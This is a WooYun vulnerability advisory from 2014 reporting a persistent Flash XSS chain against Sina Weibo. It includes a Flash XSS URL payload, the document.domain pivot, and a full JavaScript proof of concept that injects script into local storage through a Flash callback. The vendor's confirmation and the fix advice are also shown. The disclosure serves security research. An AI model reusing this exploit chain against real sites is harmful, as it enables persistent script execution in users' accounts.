当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-076039

漏洞标题：新浪微博flash xss rookit (乌云峰会视频演示-0x04)

相关厂商：新浪

漏洞作者： 多多关照

提交时间：2014-09-14 12:52

修复时间：2014-10-29 12:54

公开时间：2014-10-29 12:54

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-14： 细节已通知厂商并且等待厂商处理中
2014-09-16： 厂商已经确认，细节仅向厂商公开
2014-09-26： 细节向核心白帽子及相关领域专家公开
2014-10-06： 细节向普通白帽子公开
2014-10-16： 细节向实习白帽子公开
2014-10-29： 细节向公众公开

简要描述：

乌云峰会演示 0x04

详细说明：

1. 存在缺陷的文件为：http://js.t.sinajs.cn/t5/webim/swf/sync_storage.swf，该文件的addcallback添加的函数接口的返回值未经过滤,然后allowDomain允许一些白名单内的域名
2. 为了操作本地存储，我们需要首先找到一个白名单域内的XSS，比如 blog.sina.com.cn
3. 但是这个不一定好找，我们找到一个 qing.blog.sina.com.cn下的FLASH XSS

http://qing.blog.sina.com.cn/blog/static/swf/markBlogUp.swf?onflashready=alert(1)


4. 接着利用新浪博客域下的文件，经常会有一句 document.domain="sina.com.cn"的特性。
我们将 http://qing.blog.sina.com.cn/blog/static/swf/markBlogUp.swf?onflashready=alert(1) 的域也设置到 document.domain='sina.com.cn'
然后即可同 blog.sina.com.cn下的 http://blog.sina.com.cn/main_v5/ria/blank2.html 文件进行交互操作。
5. 在blank2.html中调用 http://js.t.sinajs.cn/t5/webim/swf/sync_storage.swf 并对FLASH进行操作，利用代码如下：

document.domain="sina.com.cn";
var _m=document.createElement("iframe");
_m.src="http://blog.sina.com.cn/main_v5/ria/blank2.html";
document.body.appendChild(_m);
_m.onload=function(){
	_m.contentWindow.document.body.innerHTML='aaaaaaaaaaa<embed width="1" height="1" name="webim_storage" src="http://js.t.sinajs.cn/t5/webim/swf/sync_storage.swf?v=9b978b0850930148" type="application/x-shockwave-flash" allowscriptaccess="always" wmode="transparent" flashvars="uid=1220670672"></embed>bbbbbbbbb';
	var _x=setInterval(function(){
		if(_m.contentWindow.document["webim_storage"]&&_m.contentWindow.document["webim_storage"].setSo){
			_m.contentWindow.document["webim_storage"].setSo('groupData','aa\\";alert(\'hacked by wooyun\');1;//aa');
			clearInterval(_x);
			alert("Ready? Go ....");
		}
	},500);
};


6. 利用以上代码，构建恶意页面，用户访问后，打开新浪微博，即可执行 “恶意代码”。

漏洞证明：

见视频：
http://v.youku.com/v_show/id_XNzc5MTYxOTMy.html
密码：wooyunsummit

修复方案：

在保证业务不受影响的前提下，过滤addCallback所使用的FLASH函数的返回值中的 反斜线。如果可以，尽量可以使用正则，限定返回值内容只能为数字+字母。

版权声明：转载请注明来源 多多关照@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-09-16 11:30

厂商回复：

需要用户点击，感谢关注新浪安全。

最新状态：

暂无